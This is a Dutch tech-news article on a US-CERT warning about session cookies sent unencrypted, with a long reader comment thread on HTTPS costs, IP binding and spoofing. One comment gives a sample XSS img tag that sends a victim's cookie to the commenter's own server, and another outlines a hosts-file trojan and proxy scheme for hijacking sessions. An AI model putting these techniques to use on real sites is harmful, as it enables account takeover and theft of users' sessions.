'Cookies van grote sites te onderscheppen' - Update

Het US-CERT claimt een kwetsbaarheid gevonden te hebben in de manier waarop cookies gebruikt worden voor gebruikersidentificatie. Het is echter niet duidelijk waarom het CERT dit als 'nieuws' presenteert; deze kwetsbaarheid bestaat al sinds het eerste koekje op het internet verscheen.

Veel websites gebruiken cookies met een uniek identificatienummer om te voorkomen dat gebruikers zich bij iedere nieuwe pagina moeten identificeren. Deze cookie wordt met iedere request naar de server gestuurd als authenticatiemiddel. Hoewel de inlogprocedure voorafgaand aan het versturen van een cookie bij de meeste sites via een versleutelde verbinding loopt, heeft CERT geconstateerd dat de cookie zelf regelmatig in plain text-formaat verzonden wordt. Een kwaadwillende hacker kan de cookie onderscheppen en vervolgens gebruiken om zich voor te doen als de ingelogde gebruiker.

De constatering van het US-CERT komt echter niet als een verrassing, hoewel de organisatie wel flink wat ophef rond de 'ontdekking' maakt; de kwetsbaarheid van het cookie-mechanisme is al langer bekend. Veel webmasters kiezen er echter bewust voor om wel de loginprocedure - aangezien met een login en wachtwoord vaak meer schade aangericht kan worden, ook op andere sites - via een versleutelde https-verbinding te laten lopen, maar niet het verdere dataverkeer waartoe ook de identificatiecookie behoort.

De belangrijkste reden hiervoor is dat het versleutelen van al dit verkeer een behoorlijke belasting op de webservers kan leggen en dat het lastiger wordt om loadbalancers in te zetten om de belasting over een heel serverpark te verdelen. Vaak wordt daarom wel de mogelijkheid geboden om een cookie aan een ip-adres te verbinden. Hoewel dit ip-adres ook vervalst kan worden, vergt dit al flink wat meer inspanning en kennis van de aanvallers.

Gebruikers kunnen bovendien hun steentje bijdragen aan de beveiliging van hun gegevens, door niet met gevoelige gegevens in te loggen op onbekende of onbetrouwbare netwerken. Bovendien kan het versleutelen van de wifi-verbinding met behulp van wpa al heel wat kwaadwillenden tegenhouden. De enige correcte manier om deze kwetsbaarheid op te lossen, zou er echter uit bestaan http volledig te dumpen en over te stappen op https, met heel wat extra kosten voor serverhardware en certificaten tot gevolg.

Update 18.30u: De oorspronkelijke tekst presenteerde de 'ontdekking' van het US-CERT als nieuws. In de aangepaste versie werd wat nuancering en een kritische noot toegevoegd om een en ander in breder perspectief te plaatsen.

Reacties (64)

[Verwijderd]

Like, duh. Dat is een probleem wat al 30 jaar oud is.

Maar bedrijven als Google en Microsoft kiezen daarvoor, de enige redelijke beveiliging zou namelijk zijn om al het verkeer via https te laten lopen. Dan kunnen ze hun serverparken wel verviervoudigen, SSL is zo goedkoop niet (wat betreft processorkracht).

Een tussenoplossing zou zijn dat 1x per 5 minuten een omleiding naar https plaatsvindt om een nieuwe "onveilige" cookie voor de volgende 5 minuten op te halen. Maar ook dat biedt geen echte beveiliging.

Jammer dat CERT het naar voren brengt als "de ontdekking van de eeuw"

[Reactie gewijzigd door Verwijderd op 23 juli 2024 04:26]

[killercow]

je zou een ssl accelerator of een Sun server met niagara cpu kunnen gebruiken als gateway naar je andere servers, dan hebben die geen last van de ssl versleutelingen.

[Bor]

Het probleem met SSL accelerators is dat je uberhaubt totaal voorbij gaat aan de essentie van het servercertificaat die dan namelijk niet meer de server identificeert maar de accelerator. Min of meer oplichting van de gebruiker dus.

[froggie]

Een certificaat garandeerd alleen de identiteit van een (sub)domein en meestal niet de specifieke node uit het cluster wat daadwerkelijk dat domein serveert. Een accelerator maakt gewoon onderdeel uit van dat cluster en de enige plaats waar een aanvaller dan nog verkeer zou kunnen onderscheppen is tussen de accelerator en servers. In dat geval heeft de partij die dat cluster gebruikt/beheerd een groter probleem dan dat een identiteit in verkeerde handen valt.

[arjankoole]

Het probleem met SSL accelerators is dat je uberhaubt totaal voorbij gaat aan de essentie van het servercertificaat die dan namelijk niet meer de server identificeert maar de accelerator. Min of meer oplichting van de gebruiker dus.

Volgens die redenering zou je dus een SSL cert aan niet meer dan 1 server mogen hangen ( geloof me, je wilt het gebruiken op een cluster / loadbalanced omgeving) en mogen wildcard SSL certs ook niet uitgegeven worden.

Beide methoden zijn heel gangbaar en volledig geaccepteerd door de de organisaties die SSL bedacht hebben en beheren. (lees: IETF, Verisign, Thawte, anybody met een root-ca)

Je certificeert namelijk de verbinding met een subdomein, en het cert dient om jou te laten zien dat dat subdomein te vertrouwen is. het hangt allemaal op dat woordje vertrouwen. Als jij verisign (als opper Root-Certificate Authority) niet vertrouwd, wat ik je overigens helemaal niet kwalijk zou nemen, stopt het hele verhaal. (maar dan kun je in principe geen enkele SSL certificaat meer vertrouwen, behalve je eigen)

[GrooV]

En wie betaald dat?

[MetroidPrime]

De reden dat dit nu opnieuw in het nieuws komt is vanwege de opmars van Wi-Fi. Veel Wi-Fi netwerken zijn namelijk niet of niet voldoende beveiligd tegen dit soort aanvallen. Wi-Fi netwerken op bijvoorbeeld luchthavens of in hotels hebben als enige beveiliging een log-in portal, maar gebruiken geen encryptie op de verbinding zelf. Alhoewel niet iedereen toegang kan krijgen tot zo'n netwerk, is de informatie die je onbeveiligd verzend en ontvangt zeer makkelijk door iemand in de directe omgeving af te luisteren.

Cookies kunnen op die manier zeer makkelijk worden afgeluisterd en dus weer gebruikt worden om sessies te kapen. De meeste mensen gaan er onterecht van uit dat als alleen het wachtwoord via "een pagina met een slotje" verzonden is, maar de rest van de verbinding niet gecodeerd is, ze helemaal veilig zijn als ze een onbeveiligd Wi-Fi netwerk gebruiken. Het kan dus geen kwaad om dit beveiligingsrisico bij het grote publiek opnieuw onder de aandacht te proberen te brengen.

[Reactie gewijzigd door MetroidPrime op 23 juli 2024 04:26]

[killercow]

uhm

met een pagina met een slotje (een https verbinding dus) ben je daadwerklijk veilig zolang al het verkeer over die https verbinding blijft lopen.

[BarôZZa]

Ik lees hier veel over man-in-the-middle attacks met packetsniffers etc. Dat is dus absoluut niet de makkelijkste manier om een cookie te onderscheppen.

Cookies onderscheppen kan je op eenvoudige wijze doen wanneer een website niet goed beveiligd is en je er een simpel javascriptje op kan zetten die de gebruiker automatisch zal uitvoeren.

Wanneer een forum of mailsite niet goed de input controleert zou je op deze manier de cookies van de gebruikers kunnen achterhalen en deze zonder dat ze het merken door kunnen sturen. Ik zelf heb het eens gedemonstreerd op een forum waarbij ik simpelweg een topic aanmaakte met een javascriptje erin. Je kan de waarden simpelweg uitlezen en bijvoorbeeld met een form automatisch submitten naar je eigen site of zelfs met een img tag(die je beiden kan genereren met document.write). Hierbij kan je denken aan <img src="http://www.mijnserver.nl/logCookie?cookievar=cookievalue" width=0 height=0>. De gebruiker ziet niks, maar ondertussen wordt de cookie naar jouw server gestuurd en kan je deze weer met een cookie-editor zelf gebruiken.
Wanneer bijvoorbeeld Gmail kwetsbaar zou zijn zou je theoretisch gezien alleen een mailtje hoeven te sturen naar iemand en is diegene de klos wanneer hij/zij het mailtje opent.

Nu zullen de grotere sites veel meer checks hebben dan alleen op de cookie, maar bij het eerdere voorbeeldje van het forum kon ik simpelweg inloggen onder de account van een ander door alleen m'n cookie te wijzigen. En dit was destijds een forum van één van de VNU collega's van Tweakers(destijds zat Tweakers overigens nog niet bij VNU) .

[Little Penguin]

De enige correcte manier om deze kwetsbaarheid op te lossen, zou er echter uit bestaan http volledig te dumpen en over te stappen op https, met heel wat extra kosten voor serverhardware en certificaten tot gevolg.

HTTP hoeft alleen gedumpt te worden voor sites waar het belangrijk is om persoonlijke gegevens ook persoonlijk te houden - populaire webmail, web-office en andere tools dus.

Voor sites die wel een HTTPS verbinding nodig zouden hebben geldt verder dat een SSL-certificaat helemaal niet overdreven duur hoeft te zijn en dat de server-hardware inmiddels krachtig genoeg is om de SSL-versleuteling te realiseren.

[Kees]

Nee, dat is de server hardware niet. Als voorbeeld tweakers.net. We zouden alles (plaatjes, javascript, css, alle html, rss feeds) allemaal via https moeten sturen, ook grote downloads van files, want bij elke http request op *.tweakers.net zal het tweakers.net cookie door de browser meegestuurd worden.

Op dit moment doen wij vrijwel geen https verkeer, maar als ik zie hoeveel zwaarder dat is ten opzichte van normaal verkeer, dan moeten wij zeker ons server park verdubbelen in grootte om dat aan te kunnen.

Verder zou je het nodig moeten hebben op elke site waar je op kan inloggen, en mag de gebruiker van het domein waar het cookie staat ook niets onbeveiligd downloaden. Dus ook voor sites als youtube (tenzij je wil dat iemand video's onder jouw naam kan posten).

En als jij als hostings bedrijf iemand een eigen domein geeft + een adminpanel op dat domein, dan moet je daar weer een apart certificaat voor hebben (of alles op 1 domein draaien).

Kortom, een enorme storm in een vingerhoedje water daar bij het CERN, ik snap niet dat ze met goed fatsoen zoiets naar buiten durven brengen. Het is bijna net zo idioot als proberen de 'hyperlink' te patenteren vandaag.

[Little Penguin]

Nee, dat is de server hardware niet. Als voorbeeld tweakers.net. We zouden alles (plaatjes, javascript, css, alle html, rss feeds) allemaal via https moeten sturen, ook grote downloads van files, want bij elke http request op *.tweakers.net zal het tweakers.net cookie door de browser meegestuurd worden.

Volgens mij kun je externe plaatjes, css, javascript en RSS feeds gewoon via een normale verbinding laten lopen - voor al die zaken is geen cookie noodzakelijk.

Alleen de normale inlog-pagina + eventueel aangepaste CSS zul je via een ssl verbinding moeten laten lopen.

Verder is er tegenwoordig ook speciale hardware waarmee je de versleuteling kunt uitvoeren, waardoor dat je normale servers niet extra belast worden.

Overigens is het stelen van een cookie volgens mij alleen een issue voor de wifi-verbinding bij mensen thuis, alle andere verbindingen gaan via een praktisch niet af te luisteren draadje - als je de tussenliggende schakels niet kan/wil vertrouwen dan kun je het gehele internet wel opdoeken...

[arjankoole]

Volgens mij kun je externe plaatjes, css, javascript en RSS feeds gewoon via een normale verbinding laten lopen - voor al die zaken is geen cookie noodzakelijk.

IE begint volgens mij dan gelijk te piepen over 'mixed content' en adviseert in de laatste versies zelfs om de site niet meer te bezoeken.

Verder is er tegenwoordig ook speciale hardware waarmee je de versleuteling kunt uitvoeren, waardoor dat je normale servers niet extra belast worden.

Heb je enig idee hoe duur dergelijke apperatuur is? Als ik alleen maar kijk naar relatief eenvoudige loadbalancers van Cisco, dan is de SSL terminating / offloading variant al snel 2x zo duur. Dat betekend dus dat je 4x zo veel geld uit mag geven (want je wilt natuurlijk wel redundante loadbalancers).

de meeste sites hebben echt niet een dusdanig groot budget dat dat haalbaar is. Zelfs t.net niet denk ik. (alhoewel ik niet de t.net budget begroting kan kijken natuurlijk)

Ik werk bij een toko waar we behoorlijk specialistische hosting doen, en de enkele keer dat een klant er om vraagt haakt ie af als ie hoort wat de kosten zijn.

[Reactie gewijzigd door arjankoole op 23 juli 2024 04:26]

[Yoeri]

Het is niet noodzakelijk, maar dat weet je browser niet. Elke browser zal dan ook bij elk verzoek naar *.tweakers.net (ook bij verzoeken voor plaatjes, css, ...) het bijhorende cookie meesturen, en daar gaat je veiligheid...

[Reactie gewijzigd door Yoeri op 23 juli 2024 04:26]

[crisp]

Dat is natuurlijk af te vangen door een ander domein te gebruiken voor je static content waarvoor geen authenticatie noodzakelijk is.

Wat een veel groter probleem is is dat browsers dan weer beginnen te mekkeren over 'mixed content'; dat probleem heb je met je banners en Adsense trouwens ook.

[Little Penguin]

Met een secure cookie kun je volgens mij voorkomen dat de cookie die gezet is vanaf een HTTPS-sessie over een niet beveiligde verbinding verstuurd wordt - dus dat mag geen probleem zijn.

Wat je dan natuurlijk wel kan krijgen is het probleem dat crisp hieronder beschrijft wanneer je voor een splitsing kiest tussen html en non-html (dynamisch en non-dynamische) content.

Overigens heeft Kees hierboven ook wel gelijk dat het een storm in een glas water is - het overgrote deel van het internet verkeer is in de praktijk niet af te luisteren...

[killercow]

geloof er geen bal van,

Werkelijke elke sessie manager verbindt de unieke code ook aan het IP van de gebruiker, wat het sniffen (tenzij het op een lan gebeurt) nutteloos maakt.

[Janoz]

Werkelijke elke sessie manager verbindt de unieke code ook aan het IP van de gebruiker

Onzin. Veel session handlers hebben dit er niet standaard inzitten of hebben dat niet standaard aanstaan. Daarnaast wil je dat ook lang niet altijd. Mijn laptop gebruik ik op verschillende locaties, dus met verschillende ip adressen, maar ik wil toch wel ingelogd blijven. Wat dacht je daarnaast van mensen die via een proxy park gaan (zoals AOL) waarbij het IP telkens kan veranderen?

@Muthas:
IP spoofen in deze context kan niet. Een IP spoofen is misschien wel leuk en aardig, maar dat werkt alleen wanneer je een halve verbinding wilt opzetten zonder dat er ook maar een bitje data over verstuurd wordt. Als je immers niet je eigen IP gebruikt is het voor de server onmogelijk te achterhalen dat hij die data eigenlijk naar jou moet sturen.

[Ravek]

We gingen uit van de situatie dat iemand in staat was je cookie te bemachtigen en dus kan packet sniffen. Dus kan je prima je IP spoofen en alles wat terug verzonden wordt opsniffen en beantwoorden.

[arjankoole]

We gingen uit van de situatie dat iemand in staat was je cookie te bemachtigen en dus kan packet sniffen. Dus kan je prima je IP spoofen en alles wat terug verzonden wordt opsniffen en beantwoorden.

dan ga je als je slim bent niet spoofen ( er is genoeg apperatuur die het weigert om een pakketje te versturen als het source-ip geen IP van hun is). Dan ga je met hetzelfde lek waardoor je snift via een root-kit of andere remote access hack op die machine zitten en stuur je het daar vandaan. Ergo, niets geen spoofing.

Spoofing werkte vroeger alleen toen ISP's hun routers niet beveiligden tegen het verzenden van pakketjes waarvan het source-ip niet een eigen reeks was. (dat was tot dat moment ook niet nodig). Het enige waarvoor het werkte was een DoS attack. (want daar hoefde je het antwoord niet van te hebben). Heel veel SYN en geen enkele ACK ( niet bij jou dus ).

Nu heeft spoofing proberen net zoveel nut als in een leeg zwembad springen. het levert je alleen maar veel pijn op

[T_E_O]

Of op een wireless lan... en dat zie je toch behoorlijk vaak. Alle publieke hotspots van bv. T-Mobile hebben ook encryptie "gewoon" uitstaan.

[Muthas]

IP's zijn te spoofen, het is echt veel moeilijker als het sniffen van een cookie en ook echte niet 1 2 3 te doen.

Verder, in Amerika heb je ook providers (AOL bijv.) die je een heel dynamisch IP geven, kunnen van de ene op de andere request veranderen. Aangezien MS en Google internationaal zijn hebben ze het koppelen aan IP adressen misschien uitgeschakeld.

[Bitage]

Als bedrijf is het zoiezo niet echt geoorloofd om zulke belangrijke informatie in cookies te gooien, daar kun je gewoon de serverside oplossing $_SESSION voor gebruiken (in PHP dan). Desnoods, als je dat echt zou willen om je gebruikers aan de hand van hun IP te kunnen identificeren, is zelfs een DB-oplossing nog beter.

[Yoeri]

En wat denk je dat door $_SESSION gebruikt wordt?

Juist ja, het Sessie-id wordt inderdaad op de server bijgehouden en gekoppeld aan de correcte login nadat de correcte logingegevens verstrekt zijn. Als jij vervolgens naar een andere pagina doorklikt, ruikt die server echter ècht niet zomaar dat jij weer diezelfde gozer bent hoor, maar bepaalt hij dat door het Sessie-id (dat, juist ja, niet-geëncrypteerd) doorgestuurd wordt samen met het request voor de pagina

[chaos.be]

Sessies worden vooral opgeslagen in cookies. Maar in het geval dat de gebruiker geen cookies aanvaard, kan het sessie-id opgeslagen worden in query's of form-data.

Niet dat dit een grotere beveiliging is hoor. Wanneer iemand jouw cookie onderschept, of een query met een sessie-id in, heeft deze persoon steeds jouw sessie te pakken.

[kodak]

Ik snap nog steeds niet waarom bedrijven vaak niet eens de moeite nemen om een externe partij in te huren om hun software en diensten te controleren op fouten als beveiligingsblunders. Programmeurs zijn door de jaren heen wat bewuster geworden van de ernst van fouten, maar het is net als met de boekhouding. Daar heb je ook zorg te dragen dat een gerenomeerde onafhankelijke partij het voor het bedrijf en haar klanten en dienstverleners door een keuring haalt en een oordeel geeft.

[Reactie gewijzigd door kodak op 23 juli 2024 04:26]

[Kees]

Als je met blunder bedoeld de 'ontdekking' en het 'nieuws' van CERN, dan ben ik het met je eens.

Als je bedoeld dat google/ms cookies zo gebruiken, dan moet je beseffen dat je bijna niet anders kan.

[xaddict]

heel ff een vraag van een stom klein programmeurtje, maar is het niet zo dat je geen cookies hoeft gebruiken voor die aanmedling maar je server-side sessions kunt aanmaken? ik gebruik op mijn sites altijd sessions en als de browser dan uitgaat en ze komen weer terug dan zou je een non-expiring session moeten kunnen maken toch?

[seppevs]

Voor zo ver ik weet is een session gewoon een cookie dat geldig blijft zo lang de gebruiker de website in zijn browser heeft open staan. Een session cookie wordt dus ook op de client bijgehouden. Soms gebruikt men url rewriting voor een session te beheren ipv een cookie. Ik vraag me dan ook af hoe het daar zit; is dat dan niet nog makkelijker te onderschepen. Gewoon kijken welke URL er wordt gestuurd ..

[Muthas]

Gek dat zo'n groot internetbedrijf als Google hier kwetsbaar voor is.

[Nijn]

Kwetsbaar is een erg groot woord. Dit is een storm in een glas water. Inderdaad, de cookies worden vaak over een open verbinding verstuurd. Echter moet je wel redelijk wat voor elkaar krijgen wil je hier gebruik van kunnen maken.

Het is niet zo dat een cookie automatisch toegang verleent. Er worden veel meer controles uitgevoerd. Vaak gebruikte zijn controle of de browser gelijk is gebleven, controleren of het IP gelijk is gebleven en controleren of de sessie nog wel actief is. Bovendien zie je vaak dat cookies worden vervangen bij ieder bezoek.

Overigens is Tweakers zelf hier ook "kwetsbaar" voor.

[Reactie gewijzigd door Nijn op 23 juli 2024 04:26]

[Verwijderd]

Bij het inloggen op Tweakers.net kun je kiezen om je sessie aan je IP-adres te koppelen. Hierdoor ben je niet meer vatbaar voor deze aanval.

[Verwijderd]

Als de hacker al zo ver is dat hij verkeer naar jouw PC/IP kan onderscheppen (en dus de cookie kan opvangen) dan kan hij vast en zeker ook verkeer aanmaken alsof het vanuit jouw IP adres werd verzonden (immers kan hij de return ook weer opvangen).

[arjankoole]

dat is zo extreem moeilijk dat het eigelijk het overpeinzen niet waard is. de enige manier waarop dit hanteerbaar is is als de hacker in je eigen netwerk geinfiltreerd is.

[Verwijderd]

@arjankoole:

Man-in-the-middle attacks zijn de meest voorkomende manier om een cookie te onderscheppen en dan is het erg simpel om je eigen verkeer te laten lijken alsof het van het gebruikers IP af komt.

Dat een man-in-the-middle attack sowieso moeilijk is om uit te voeren is een feit, dat wordt dan ook (na de update) genoemd, het is dus een storm in een glas water, de aanval is erg moeilijk uit te voeren.

IP beveiliging is dus niet iets wat hierbij heel erg veel helpt, maar het helpt wel iets dus waarom niet?

[arjankoole]

IP beveiliging is dus niet iets wat hierbij heel erg veel helpt, maar het helpt wel iets dus waarom niet?

Oh, ik zeg ook absoluut niet dat je niet alle moeite moet getroosten om aan beveiliging te doen. (mits het binnen het redelijke blijft natuurlijk). Ik zelf gebruik in m'n sessie/cookie code een hele reeks aan checks, maar als iemand een sessie kaapt is daar inderdaad weinig tegen te doen.

[Verwijderd]

Maar het faken van gegevens alsof het van de gebruiker af kwam is dus niet zo moeilijk als je het laat voorkomen, zeker niet als je te maken hebt met een hacker die een goede man-in-the-middle attack heeft uitgevoerd.

Zeker wanneer het een non-technische hack betreft (een hack die berust op de 'domheid' van de gebruiker) is het natuurlijk doodsimpel.

Voorbeeldje:

Stap 1 - Schrijf een trojan (of haal een kant en klare van het web of gebruik een trojan generator) die de hosts file van je slachtoffer bijwerkt en zodoende bijvoorbeeld tweakers.net laat doorverwijzen naar jouw eigen server (en zorg dat deze trojan bij de gebruiker terecht komt, kan nooit heel moeilijk zijn gezien de gemiddelde gebruiker)

Stap 2 - Zet een simpel proxy systeempje op (zijn ook genoeg kant en klaar te vinden op het web) zodat wanneer het slachtoffer op jouw server terecht komt ook daadwerkelijk tweakers.net te zien krijgt

Stap 3 - Wacht rustig af totdat de gebruiker op tweakers.net gaat kijken (kan nooit heel lang duren). Gebruiker is uitgelogd denkt: "Huh uitgelogd, najah whatever" en logt rustig in.

Nu heb je door het challange response systeem niet het wachtwoord van de gebruiker, maar als het goed is wel zijn sessie id. Je hebt nu alle rechten die de gebruiker ook heeft en de sessie is verbonden aan jouw eigen IP adres dus je hoeft technisch niets raars te doen om zijn sessie te gebruiken.

Dat is dus een relatief simpele manier om een man-in-the-middle attack te doen en zodoende de gebruiker z'n sessie te kapen en de ip beveiliging te foppen.

Als je echt fancy wil zijn zorg je ook nog eens dat op de sessiepagina van t.net het IP van de gebruiker even vervangen wordt van jouw eigen IP naar je slachtoffer z'n IP. Maar dan moet je echt een goede proxy hebben of een eigen systeem maken.

Alle tooltjes zijn kant en klaar te vinden door iedereen die Google weet te gebruiken, en verder doet de gebruiker alles voor je. Natuurlijk vertrouw je een beetje op de domheid van de gebruiker, maar dat gebruikers dom zijn is een feit.

[Reactie gewijzigd door Verwijderd op 23 juli 2024 04:26]

[i-chat]

Open Wifi verbindingen ?????

[arjankoole]

Open Wifi verbindingen ?????

is heel specifiek, dat kun je niet bij ieder willekeurig doelwit toepassen.

[Reactie gewijzigd door arjankoole op 23 juli 2024 04:26]

[Verwijderd]

dan lijkt een keylogger mij handiger.

[Roland684]

Dat is erg naïef, ip-adressen zijn te spooffen.

[AW_Bos]

T.net heeft een Challenge systeem hiervoor gemaakt, om onderschepping tussendoor met sniffers enzo onmogelijk te maken.

[Bor]

En dan zijn er nog legio mogelijkheden: man in the middle, het stelen van de info waarop de challenge wordt berekend etc.

[Verwijderd]

@Arien:

Dat gaat over het inloggen, niet over het koekje waarin de sessie identifier zit, als je die onderschept kun je jezelf eenvoudig voordoen als de andere gebruiker.

[FreezeXJ]

helemaal niet, omdat ook zij fouten maken, maar deze sites druk bezocht worden. Hierop wordt dus veel geprobeerd, terwijl http://mijnkleineprivesite.nl over het algemeen geen interesse wekt. Ook Google maakt fouten...

[Verwijderd]

Nu ben ik geen beveiligings expert maar als je nou bijvoorbeeld je wachtwoord laat opslaan als md5sum dan heeft de hacker er toch niets aan?

[Little Penguin]

Dit bericht gaat niet over het wel/niet opslaan van een wachtwoord (waarbij het opslaan van een wachtwoord als plain-text ook al dom is overigens; MD5 of SHA hash is dan vele malen beter), maar om het feit dat de inhoud van een sessie-cookie misbruikt kan worden voor het spoofen van de afzender.

De kans dat je zo'n cookie te pakken krijgt is echter niet zo groot, tenzij dat er tussen jouw client en de server een gehackte machine zit of je gebruik maakt van een onbeveiligde wifi-verbinding.

Nu is het erg dom om een onbeveiligde WiFi verbinding te gebruiken en als je dat wel doet ligt er al gauw meer op straat dan alleen een sessie-cookie van t.net, gmail e.d.

Voor wat betreft een gehackte server, als een server bij jouw ISP, de backbone (AMS-IX,LINX of anders IX) of de hoster gehackt is dan is er ook meer aan de hand en moet er onverwijld actie worden ondernomen.

[arjankoole]

De kans dat je zo'n cookie te pakken krijgt is echter niet zo groot, tenzij dat er tussen jouw client en de server een gehackte machine zit of je gebruik maakt van een onbeveiligde wifi-verbinding.

Ik ben het helemaal met je verhaal eens, maar ik heb nog 1 kleine aanvulling: wat dacht dat van het feit dat het door simpelweg het volume haast niet haalbaar is om het juiste setje pakketjes te sniffen waardoor je zo'n cookie te pakken krijgt? Zo'n cookie is misschien 128 bytes lang, dus dat zit heerlijk encapsulated in een 1500 bytes packet. Knappe jongen die apperatuur heeft om de juiste packets eruit te sniffen.

(uitzondering is natuurlijk als ie in je eigen netwerk zit, net voor je uplink, daar gaat zo weinig verkeer overheen dat het een peuleschil is, maar dan moet je wel tussen client en uplink kunnen zitten - ook niet makkelijk zonder dat het opvalt).

[moto-moi]

Een sniffer kan dat beetje verkeer wel efficient verstouwen hoor, je hebt tenslotte niet elk stukje data nodig wat over de lijn gaat

[Reactie gewijzigd door moto-moi op 23 juli 2024 04:26]

[arjankoole]

Een sniffer kan dat beetje verkeer wel efficient verstouwen hoor, je hebt tenslotte niet elk stukje data nodig wat over de lijn gaat

probeer jij eens een sniffer te draaien op de backbone uplink van een grote ISP?

ik durf je te wedden dat je machine een zeer pijnlijke, rokende dood sterft.